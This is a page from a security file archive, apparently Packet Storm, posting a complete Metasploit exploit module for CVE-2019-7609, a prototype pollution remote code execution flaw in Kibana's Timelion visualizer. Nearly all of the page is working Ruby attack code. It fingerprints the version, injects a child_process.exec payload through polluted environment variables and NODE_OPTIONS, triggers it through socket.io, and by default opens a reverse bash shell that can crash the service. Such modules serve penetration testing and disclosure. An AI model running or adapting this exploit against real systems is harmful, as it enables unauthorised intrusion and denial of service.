what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kibana Timelion Prototype Pollution Remote Code Execution

Kibana Timelion Prototype Pollution Remote Code Execution
Posted Sep 8, 2023
Authored by h00die, Gaetan Ferry, Michal Bentkowski | Site metasploit.com

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This leads to an arbitrary command execution with permissions of the Kibana process on the host system. Exploitation will require a service or system reboot to restore normal operation. The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells (50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a docker image caused 6 shells.

tags | exploit, arbitrary, shell, javascript, code execution
advisories | CVE-2019-7609
SHA-256 | 218aabf6c87ec8ccc508ad1d2d5d2ca8b265eead008ca12a1926cb66c80614ab

Kibana Timelion Prototype Pollution Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kibana Timelion Prototype Pollution RCE',
'Description' => %q{
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer.
An attacker with access to the Timelion application could send a request that will attempt to execute
javascript code. This leads to an arbitrary command execution with permissions of the
Kibana process on the host system.

Exploitation will require a service or system reboot to restore normal operation.

The WFSDELAY parameter is crucial for this exploit. Setting it too high will cause MANY shells
(50-100+), while setting it too low will cause no shells to be obtained. WFSDELAY of 10 for a
docker image caused 6 shells.

Tested against kibana 6.5.4.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'MichaƂ Bentkowski', # original PoC, analysis
'Gaetan Ferry' # more analysis
],
'References' => [
[ 'URL', 'https://github.com/mpgn/CVE-2019-7609'],
[ 'URL', 'https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/'],
[ 'CVE', '2019-7609']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2019-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'WfsDelay' => 10 # can take a minute to run
},
'Notes' => {
# the webserver doesn't die, but certain requests no longer respond before a timeout
# when things go poorly
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(5601),
OptString.new('TARGETURI', [ true, 'The URI of the Kibana Application', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# this pulls a big JSON blob that we need as it has the version
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

version_json = CGI.unescapeHTML(Regexp.last_match(1))

begin
json_body = JSON.parse(version_json)
rescue JSON::ParserError
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

@version = json_body['version']

if Rex::Version.new(@version) < Rex::Version.new('5.6.15') ||
(
Rex::Version.new(@version) < Rex::Version.new('6.6.1') &&
Rex::Version.new(@version) >= Rex::Version.new('6.0.0')
)
return CheckCode::Appears("Exploitable Version Detected: #{@version}")
end

CheckCode::Safe("Unexploitable Version Detected: #{@version}")
end

def get_xsrf
vprint_status('Grabbing XSRF Token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'bundles', 'canvas.bundle.js'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200

return Regexp.last_match(1) if /"kbn-xsrf":"([^"]+)"/ =~ res.body

nil
end

def trigger_socket
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'socket.io/'), # trailing / is required
'keep_cookies' => true,
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'EIO' => 3,
'transport' => 'polling'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def send_injection(reset: false)
if reset
pload = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
else
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')|
end
body = {
'sheet' => [pload],
'time' => {
'from' => 'now-15m',
'to' => 'now',
'mode' => 'quick',
'interval' => 'auto',
'timezone' => 'America/New_York'
}
}
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'timelion', 'run'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => { 'kbn-version' => @version },
'data' => body.to_json.sub('PAYLOADHERE', payload.encoded.gsub("'", "\\\\\\\\\\\\\\\\'")),
'keep_cookies' => true
)
Rex.sleep(2) # let this take hold, if we go too fast we dont get the shell
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def exploit
check if @version.nil?
print_status('Polluting Prototype in Timelion')
send_injection

@xsrf = get_xsrf
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to grab XSRF token") if @xsrf.nil?

print_status('Trigginger payload execution via canvas socket')
trigger_socket
print_status('Waiting for shells')
Rex.sleep(datastore['WFSDELAY'] / 10)
unless @reset_done
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
end
end

def on_new_session(_client)
return if @reset_done

print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
@reset_done = true
ensure
super
end

end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close